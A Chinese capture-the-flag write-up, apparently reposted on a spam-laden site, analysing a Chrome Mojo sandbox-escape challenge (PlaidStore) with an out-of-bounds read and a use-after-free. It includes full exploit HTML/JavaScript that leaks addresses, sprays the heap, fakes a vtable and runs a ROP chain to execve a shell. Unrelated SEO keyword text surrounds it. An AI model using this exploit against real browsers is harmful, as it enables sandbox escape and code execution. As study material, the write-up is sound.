当前位置: 首页 > news >正文

金湖网站推广怎样查看别人网站流量

金湖网站推广,怎样查看别人网站流量,用myeclipse做网站,个人简单app的开发流程文章目录 前置知识参考文章环境搭建题目环境调试环境 题目分析附件分析漏洞分析OOBUAF 漏洞利用总结 前置知识 Mojo Services 简介 chromium mojo 快速入门 Mojo docs Intro to Mojo Services 译文#xff1a;利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文… 文章目录 前置知识参考文章环境搭建题目环境调试环境 题目分析附件分析漏洞分析OOBUAF 漏洞利用总结 前置知识 Mojo Services 简介 chromium mojo 快速入门 Mojo docs Intro to Mojo Services 译文利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文Cleanly Escaping the Chrome Sandbox 参考文章 本文主要参考 Plaid CTF 2020 mojo Writeup 环境搭建 题目环境 给了 docker 环境所以直接启 docker 即可。 安装 docker sudo snap install docker运行 run.sh 脚本 ./run.sh运行 chrome ./chrome --disable-gpu --remote-debugging-port1338 --enable-blink-featuresMojoJS,MojoJSTest url调试环境 这里单独启一个 web 服务 python3 -m http.server 8000调试脚本 # gdbinit # 读取符号 file ./chrome # 设置启动参数 set args --disable-gpu --remote-debugging-port1338 --user-data-dir./userdata --enable-blink-featuresMojoJS url # 设置执行fork后继续调试父进程 set follow-fork-mode parent然后 gdb 调试即可 gdb -x gdbinit题目分析 附件分析 题目新定义了一个 PlaidStore 接口 module blink.mojom;// This interface provides a data store interface PlaidStore {// Stores data in the data storeStoreData(string key, arrayuint8 data);// Gets data from the data storeGetData(string key, uint32 count) (arrayuint8 data); };该接口定义了两个方法 StoreData、GetData 分别用于向 data store 中存储数据和获取数据。 然后在浏览器端实现 PlaidStore 接口 namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiverblink::mojom::PlaidStore receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string key,const std::vectoruint8_t data) override;void GetData(const std::string key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::mapstd::string, std::vectoruint8_t data_store_; };}可以看到这里存在两个私有变量其中一个是 data_store_这个好理解其就是用来存储数据的这里的 render_frame_host_ 是神马东西呢 render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段会在 BinderMap 中填充所有公开的 mojo 接口 -660,6 662,10 void PopulateFrameBinders(RenderFrameHostImpl* host,map-Addblink::mojom::SerialService(base::BindRepeating(RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)map-Addblink::mojom::PlaidStore(base::BindRepeating(RenderFrameHostImpl::CreatePlaidStore,base::Unretained(host)));}当一个 render frame 请求该接口时在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用其定义如下 void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiverblink::mojom::PlaidStore receiver) {PlaidStoreImpl::Create(this, std::move(receiver)); }其直接调用了 PlaidStoreImpl::Create 函数 // static void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiverblink::mojom::PlaidStore receiver) {mojo::MakeSelfOwnedReceiver(std::make_uniquePlaidStoreImpl(render_frame_host),std::move(receiver)); }通过该函数一个 PlaidStoreImpl 就被创建并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。 漏洞分析 该题存在两个漏洞分别是 OOB 与 UAF接下来直接分别讲解。 OOB 来分析下存取数据的操作 void PlaidStoreImpl::StoreData(const std::string key,const std::vectoruint8_t data) {if (!render_frame_host_-IsRenderFrameLive()) {return;}data_store_[key] data; }void PlaidStoreImpl::GetData(const std::string key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_-IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it data_store_.find(key);if (it data_store_.end()) {std::move(callback).Run({});return;}std::vectoruint8_t result(it-second.begin(), it-second.begin() count);std::move(callback).Run(result); }可以看到两个操作都会先调用 render_frame_host_-IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题主要在于 GetData 函数没有对 count 字段做检查所以这里可以导致越界读。 UAF 这里主要涉及到对象指针生命周期的问题。 在上面我们说过当一个 render frame 请求该接口时在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用其最后会调用到 PlaidStoreImpl::Create 函数 void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiverblink::mojom::PlaidStore receiver) {mojo::MakeSelfOwnedReceiver(std::make_uniquePlaidStoreImpl(render_frame_host),std::move(receiver)); }通过该函数一个 PlaidStoreImpl 就被创建并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定也就是说这里会将消息管道的一段 receiver 与 PlaidStoreImpl 绑定而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。 由于这里的绑定所以当 mojo 管道关闭或发生错误时PlaidStoreImpl 就会被自动释放从而使得 PlaidStoreImpl 与 receiver 的生命周期保持一致这其实是不存在问题的。 而在 PlaidStoreImpl 的构造函数中存在对 render_frame_host 的赋值操作 PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}可以看到在 PlaidStoreImpl 的构造函数中将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了如果 render_frame_host 对象被析构了比如删除 iframe但是 PlaidStoreImpl 还存在因为 render_frame_host 并没有与 PlaidStoreImpl 绑定那么在 StoreData/GetData 中调用 render_frame_host_-IsRenderFrameLive() 就会存在 UAF 漏洞。 漏洞利用 整体是思路就比较明确了 利用 OOB 泄漏相关数据利用 UAF 劫持程序执行流 前期准备 调用 MojoJS 接口时请包含以下 JS 文件这里请根据具体题目路径进行包含 script srcmojo/public/js/mojo_bindings.js/script script srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js/script然后进行管道端点绑定 // 方案一 var ps blink.mojom.PlaidStore.getRemote(true); // 方案二 var ps new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例 var name blink.mojom.PlaidStore.name; // 获取 InterfaceName var rq mojo.makeRequest(ps); Mojo.bindInterface(name, re.handle, context, true);调试分析 OOB 泄漏数据 首先是测试 OOB主要是看下能够泄漏什么数据 htmlscript srcmojo/public/js/mojo_bindings.js/scriptscript srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js/scriptscriptfunction hexx(str, v) {console.log(\033[32m[] str \033[0m0x v.toString(16));}async function pwn() {console.log(PWN);//var ps blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来var ps new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,context, true);await(ps.storeData(pwn, new Uint8Array(0x10).fill(0x41)));var leak_data (await(ps.getData(pwn, 0x20))).data;var u8 new Uint8Array(leak_data);var u64 new BigInt64Array(u8.buffer);}pwn();/script /html将断点打在 PlaidStoreImpl::Create 函数上主要就是看下 PlaidStoreImpl 申请的空间 可以看到这里 PlaidStoreImpl 的空间大小为 0x28其成员依次往下为 vtable、render_frame_host、data_store_ 当 StoreData 执行完后 可以看到这里 PlaidStoreImpl、data_store_、data_vector 位于同一个段所以这里可以通过越界读泄漏 PlaidStoreImpl 的 vtable 地址并且还可以泄漏 render_frame_host_ 的地址然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址 泄漏了 ELF 基地址后就可以得到很多有用的 gadget 了。 UAF 劫持程序执行流 有了 gadget 后接下来就是考虑如何劫持 rip这里的想法就是劫持虚表指针从而劫持程序执行流。 我们知道每次调用 StoreData/GetData 时都会先调用 render_frame_host_-IsRenderFrameLive其是通过虚表指针进行调用的 可以看到这里的 rax 就是 render_frame_host_ 的虚表地址然后 [rax 0x160] 就是 IsRenderFrameLive 函数的地址。 可以简单验证一下可以看到当执行 call QWORD PTR[rax0x160] 时rax 确实是 render_frame_host_ 的虚表地址 那么整个思路就比较清晰了 构造 render_frame_host_ UAF堆喷获取 UAF 堆块并伪造 render_frame_host_ 虚表调用 render_frame_host_-IsRenderFrameLive 控制程序执行流 这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址而其虚表地址我们是可控的就在 render_frame_host_ 对象的头 8 字节处而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址其就在 PlaidStoreImpl 虚表的下方所以我们可以利用 xchg rax, rsp 等 gadget 劫持栈到 render_frame_host_ 上并提前在 render_frame_host_ 上布置好 rop chain 即可。 这里借用上述参考文章中佬的一张图 在布局 gadget 前还有一个问题我们该如何在释放 render_frame_host_ 所指向的内存之后再将这块内存分配回来这里有个小知识点chrome 中的内存管理使用的是 TCMalloc 机制。又因为 StoreData 函数分配的vectoruint8_t 与 render_frame_host_ 使用的是同一个分配器只要大量分配大小与 RenderFrameHostImpl 相等的vector就有可能占位成功。 TCMallocThread-Caching Malloc实现了高效的多线程内存管理用于替代系统的内存分配相关的函数 TCMalloc解密 所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上 可以看到在执行构造函数前执行了 RenderFrameFactory::Create 函数所以其多半就是为 RenderFrameHostImpl 分配空间的函数重新将断点打在 RenderFrameHostFactory::Create 上 所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28。 这里照搬上述参考文章也是比较重要的部分 当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe则对应的RenderFrameHost 将会自动关闭但与此同时child iframe 所对应的 PlaidStoreImpl 与 browser 建立的 mojo 管道将会被断开。而该管道一但断开则 PlaidStoreImpl 实例将会被析构。 因此我们需要在关闭 child iframe 之前将管道的 remote 端移交给 parent iframe使得 child iframe 的 PlaidStoreImpl 实例在 iframe 关闭后仍然存活。 回想一下正常情况下当关闭一个 iframe 时RenderFrameHost 将会被析构、mojo 管道将会被关闭。此时 Mojo 管道的关闭一定会带动 PlaidStoreImpl 的析构这样就可以析构掉所有该析构的对象。 但这里却没有因为在关闭 child iframe 前已经将该 iframe 所持有的 Mojo 管道 Remote 端移交出去了因此在关闭 child iframe 时将不会关闭 Mojo 管道。而 PlaidStoreImpl 的生命周期并没有与 RenderFrameHost 相关联。即 RenderFrameHost 的析构完全不影响 PlaidStoreImpl 实例的生命周期。所以PlaidStoreImpl 实例将不会被析构。 那么问题是该如何移交 Mojo 管道的 remote 端呢答案是使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframe 的 Mojo.bindInterface 调用。在 child iframe 被销毁前我们可以利用该功能将mojo 管道的一端传递给 parent iframe。 以下是来自其他 exp 的相关代码我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式 var kPwnInterfaceName pwn;// runs in the child frame function sendPtr() {var pipe Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, context, true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, process); }// runs in the parent frame function getFreedPtr() {return new Promise(function (resolve, reject) {var frame allocateRFH(window.location.href #child); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor new MojoInterfaceInterceptor(kPwnInterfaceName, process);interceptor.oninterfacerequest function(e) {interceptor.stop();// bind and return the remotevar provider_ptr new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();}); }现在我们已经解决了所有潜在的问题UAF 的利用方式应该是这样的 将 child iframe 中 Mojo 管道的 remote 端移交至 parent iframe使得 Mojo 管道仍然保持连接释放 child iframe多次分配内存使得分配到原先被释放 RenderFrameHostImpl 的内存区域写入目标数据执行 child iframe 对应的 PlaidStoreImpl::GetData 函数 不过需要注意的是在该题中并不需要将 child iframe 的 Mojo 管道一端传递给 parent iframe 的操作。因为通过调试可知child iframe 在 remove 后其所对应的 PlaidStoreImpl 实例仍然存在并没有随着 Mojo pipe 的关闭而被析构 尚未明确具体原因但这种情况却简化了漏洞利用的方式 最后简化后的利用方式如下 释放 child iframe多次分配内存使得分配到原先被释放 RenderFrameHostImpl 的内存区域写入目标数据执行 child iframe 对应的 PlaidStoreImpl::GetData 函数 简单测试一下 html headscript srcmojo/public/js/mojo_bindings.js/scriptscript srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js/scriptscriptasync function pwn() {var frame document.createElement(iframe);frame.srcdoc script srcmojo/public/js/mojo_bindings.js\/scriptscript srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js\/scriptscriptvar ps new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,context,true);ps.storeData(pwn, new Uint8Array(0x20).fill(0x41));window.ps ps;\/script;document.body.appendChild(frame);frame.contentWindow.addEventListener(DOMContentLoaded, async () {var ps frame.contentWindow.ps;if(ps undefined || ps 0) {throw FAILED to load iframe;}var raw_buf new ArrayBuffer(0xc28);var fu8 new Uint8Array(raw_buf).fill(0);var fu64 new BigUint64Array(raw_buf);fu64[0] 0xdeadbeefn;var pps new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,context,true);document.body.removeChild(frame);frame.remove();for (let i 0; i 100; i) {await pps.storeData(pwn i, fu8);}await ps.getData(pwn, 0);});}/script /head body onload pwn()/body/html效果如下 程序在 GetData 中 Crash此时的 rax 0xdeadbeef符合预期。 最后的 exp 如下 html headscript srcmojo/public/js/mojo_bindings.js/scriptscript srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js/scriptscriptfunction hexx(str, v) {var elem document.getElementById(#parentLog);if(elem undefined) {elem document.createElement(div);document.body.appendChild(elem);}elem.innerText [] str : 0x v.toString(16) \n;}async function pwn() {//var ps blink.mojom.PlaidStore.getRemote(true);var frame document.createElement(iframe);frame.srcdoc script srcmojo/public/js/mojo_bindings.js\/scriptscript srcthird_party/blink/public/mojom/plaidstore/plaidstore.mojom.js\/scriptscriptasync function pwn() {var ps_list [];for (let i 0; i 0x200; i) {let ps new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,context, true);await ps.storeData(pwn, new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable 0x9fb67a0n;var vtable_addr -1;var render_frame_host_addr -1;for (let k 0; k 0x200; k) {let ps ps_list[k];let leak_data (await ps.getData(pwn, 0x200)).data;let u8 new Uint8Array(leak_data);let u64 new BigInt64Array(u8.buffer);for (let i 0x20 / 8; i u64.length - 1; i) {if ((u64[i] 0xfffn) 0x7a0n (u64[i] 0xf00000000000n) 0x500000000000n) {vtable_addr u64[i];render_frame_host_addr u64[i1];break;}if (vtable_addr ! -1) {break;}}}if (vtable_addr -1) {hexx(FAILED to OOB vtable addr, -1);throw [X] FAILED to OOB vtable addr;}var elf_base vtable_addr - elf_to_vtable;window.ps ps_list[0];window.elf_base elf_base;window.render_frame_host_addr render_frame_host_addr;}\/script;document.body.appendChild(frame);frame.contentWindow.addEventListener(DOMContentLoaded, async () {await frame.contentWindow.pwn();var ps frame.contentWindow.ps;var elf_base frame.contentWindow.elf_base;var render_frame_host_addr frame.contentWindow.render_frame_host_addr;if (ps undefined || ps 0) {throw FAILED to load iframe;}var pop_rdi elf_base 0x0000000002e4630fn;var pop_rsi elf_base 0x0000000002d278d2n;var pop_rdx elf_base 0x0000000002e9998en;var pop_rax elf_base 0x0000000002e651ddn;var syscall elf_base 0x0000000002ef528dn;var xchg_rax_rsp elf_base 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx(elf_base, elf_base);hexx(render_frame_host_addr, render_frame_host_addr);hexx(pop_rdi, pop_rdi);hexx(pop_rsi, pop_rsi);hexx(pop_rdx, pop_rdx);hexx(pop_rax, pop_rax);hexx(syscall, syscall);hexx(xchg_rax_rsp, xchg_rax_rsp);const RenderFrameHostSize 0xc28;var raw_buf new ArrayBuffer(RenderFrameHostSize);var fu8 new Uint8Array(raw_buf).fill(0);var fdv new DataView(raw_buf);var rop new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr0x10n, true);fdv.setBigInt64(0x100x160, xchg_rax_rsp, true);fdv.setBigInt64(0x100x1600x8, 0x68732f6e69622fn, true);rop[0] 0xdeadbeefn; // rbprop[1] pop_rdi;rop[2] render_frame_host_addr0x178n;rop[3] pop_rsi;rop[4] 0n;rop[5] pop_rdx;rop[6] 0n;rop[7] pop_rax;rop[8] 59n;rop[9] syscall;var pps new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,context, true);document.body.removeChild(frame);frame.remove();for (let i 0; i 100; i) {await pps.storeData(pwni, fu8);}await ps.getData(pwn, 0x20);});}/script /head body onload pwn()/body /html效果如下 总结 这个题目算是比较简单的沙箱逃逸了但是还是搞了两天。主要的问题就是调试比较奇怪的是如果 exp 中出现了一些错误程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时忘记给 0 后面加上 n然后 exp 就一直打不通但是程序也不报错所以这里发现这个 0n 问题我就搞了一天…
http://www.dnsts.com.cn/news/103101.html

相关文章:

  • 怎做网站转app手机wap网站下载
  • 做网站时会遇到什么问题千年之恋网页制作代码
  • 做的网站怎么放到网上附近广告设计与制作
  • 如何给给公司建立网站网站前端需要会什么
  • 东莞 网站制作四川建设银行手机银行下载官方网站下载安装
  • 凤阳县建设局网站网站建设和架构
  • 免费个人网站搭建个人艺术作品网站建设策划书
  • html特效网站能够做二维码网站
  • 国外家装设计网站广告设计
  • 2019 做网站如何免费制作一个公司网站
  • 做模版网站重庆网红打卡点有哪些地方
  • 网站标题的优化威海泰浩建设集团有限公司网站
  • 如何搭建高访问量的网站wordpress twenty twelve修改
  • 新网站建设教程代刷网站搭建教程
  • 烟台赶集网网站建设养老网站建设合同
  • 互联网招聘网站排名能自己做游戏的软件
  • 南通网站建设排名公司哪家好长春市长春网站建设
  • 什么是php网站1核1g可以做几个网站
  • 可以做推送的网站什么是小程序商城
  • 企业网站建设 新闻宣传wordpress七牛云图床
  • 中国室内设计师联盟网站do_action wordpress
  • 自己怎么在电脑上做网站广州app开发
  • 软件人员外包重庆网站seo技术
  • 企业网站实名审核中心广州办营业执照
  • 提供赣州网站建设做网站管理好吗
  • 和城乡建设厅官方网站网页界面设计分辨率密度
  • 易百讯网站建设公司网站搭建入门
  • php电商网站开发贴吧做淘宝图的素材搜索网站
  • seo网站地图成都市做网站公司
  • 可以做微信推文的网站seo互联网营销培训